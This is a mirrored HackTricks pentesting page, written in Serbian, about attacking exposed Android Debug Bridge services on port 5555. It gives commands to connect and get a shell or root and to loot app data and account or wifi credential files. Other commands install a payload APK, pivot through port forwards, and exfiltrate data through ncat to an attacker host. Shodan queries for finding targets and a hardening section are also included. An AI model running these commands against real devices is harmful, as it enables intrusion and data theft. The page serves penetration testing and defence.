mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
147 lines
7.0 KiB
Markdown
147 lines
7.0 KiB
Markdown
# 5555 - Android Debug Bridge
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Osnovne informacije
|
||
|
||
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
|
||
|
||
Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju.
|
||
|
||
- Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim).
|
||
- Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije.
|
||
|
||
Primer nmap otiska:
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||
```
|
||
## Poveži se
|
||
|
||
Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju:
|
||
```bash
|
||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||
adb shell # Get an interactive shell (uid usually shell)
|
||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||
```
|
||
- Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju).
|
||
- Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell.
|
||
|
||
Za opšti ADB referentni vodič, pogledajte:
|
||
|
||
{{#ref}}
|
||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||
{{#endref}}
|
||
|
||
## Brza Post-Exploatacija
|
||
|
||
Kada imate shell, proverite privilegije i SELinux kontekst:
|
||
```bash
|
||
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||
```
|
||
### Enumerate and capture data
|
||
|
||
- Lista aplikacija trećih strana i putanja:
|
||
```bash
|
||
pm list packages -3
|
||
pm path <pkg>
|
||
```
|
||
- Ako imate root (adb root ili su rade), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati:
|
||
```bash
|
||
# Bez roota, za aplikaciju koja se može debagovati
|
||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||
|
||
# Sa rootom
|
||
cp -a /data/data/<pkg> /sdcard/<pkg>
|
||
exit
|
||
adb pull "/sdcard/<pkg>"
|
||
```
|
||
- Korisni sistemski artefakti (potreban root):
|
||
- /data/system/users/0/accounts.db i povezani AccountManager podaci
|
||
- /data/misc/wifi/ (mrežne konfiguracije/ključevi na starijim verzijama)
|
||
- Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/<pkg>
|
||
|
||
Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274).
|
||
|
||
### Code execution and payload delivery
|
||
|
||
- Instalirajte i automatski dodelite dozvole za vreme izvođenja:
|
||
```bash
|
||
adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu
|
||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||
```
|
||
- Pokrenite aktivnosti/usluge/emitovanja direktno:
|
||
```bash
|
||
adb shell am start -n <pkg>/<activity>
|
||
adb shell am startservice -n <pkg>/<service>
|
||
adb shell am broadcast -a <action>
|
||
```
|
||
|
||
### Port forwarding and pivoting
|
||
|
||
Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju.
|
||
|
||
- Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta):
|
||
```bash
|
||
adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear)
|
||
adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije
|
||
```
|
||
- Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu):
|
||
```bash
|
||
adb reverse tcp:1080 tcp:1080 # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080
|
||
```
|
||
- Ekstrakcija fajlova preko soketa (bez pisanja na sdcard):
|
||
```bash
|
||
# Na hostu: slušajte
|
||
ncat -lvp 9000 > dump.tar
|
||
# Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi)
|
||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||
```
|
||
|
||
## Wireless Debugging (Android 11+)
|
||
|
||
Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem:
|
||
```bash
|
||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||
# On attacker host (same L2 network, mDNS allowed):
|
||
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
|
||
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
|
||
adb connect <device_ip>:<conn_port>
|
||
```
|
||
Notes
|
||
- Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako:
|
||
- _adb-tls-pairing._tcp (pariranje)
|
||
- _adb-tls-connect._tcp (povezivanje)
|
||
- _adb._tcp (legacy/plain)
|
||
- Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama: `adb tcpip 5555` zatim `adb connect <ip>:5555` (do ponovnog pokretanja).
|
||
|
||
Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite.
|
||
|
||
## Hardening / Detection
|
||
|
||
Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik.
|
||
|
||
- Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere.
|
||
- Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima.
|
||
- Na uređajima pod vašom kontrolom:
|
||
```bash
|
||
settings put global adb_enabled 0
|
||
setprop service.adb.tcp.port -1 # onemogućite TCP slušanje (ili koristite: adb usb)
|
||
stop adbd; start adbd # restartujte demon
|
||
```
|
||
- Pratite mDNS zapise `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce.
|
||
- Inventar za nesigurne verzije: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`.
|
||
|
||
## Shodan
|
||
|
||
- android debug bridge
|
||
- port:5555 product:"Android Debug Bridge"
|
||
|
||
## References
|
||
|
||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||
{{#include ../banners/hacktricks-training.md}}
|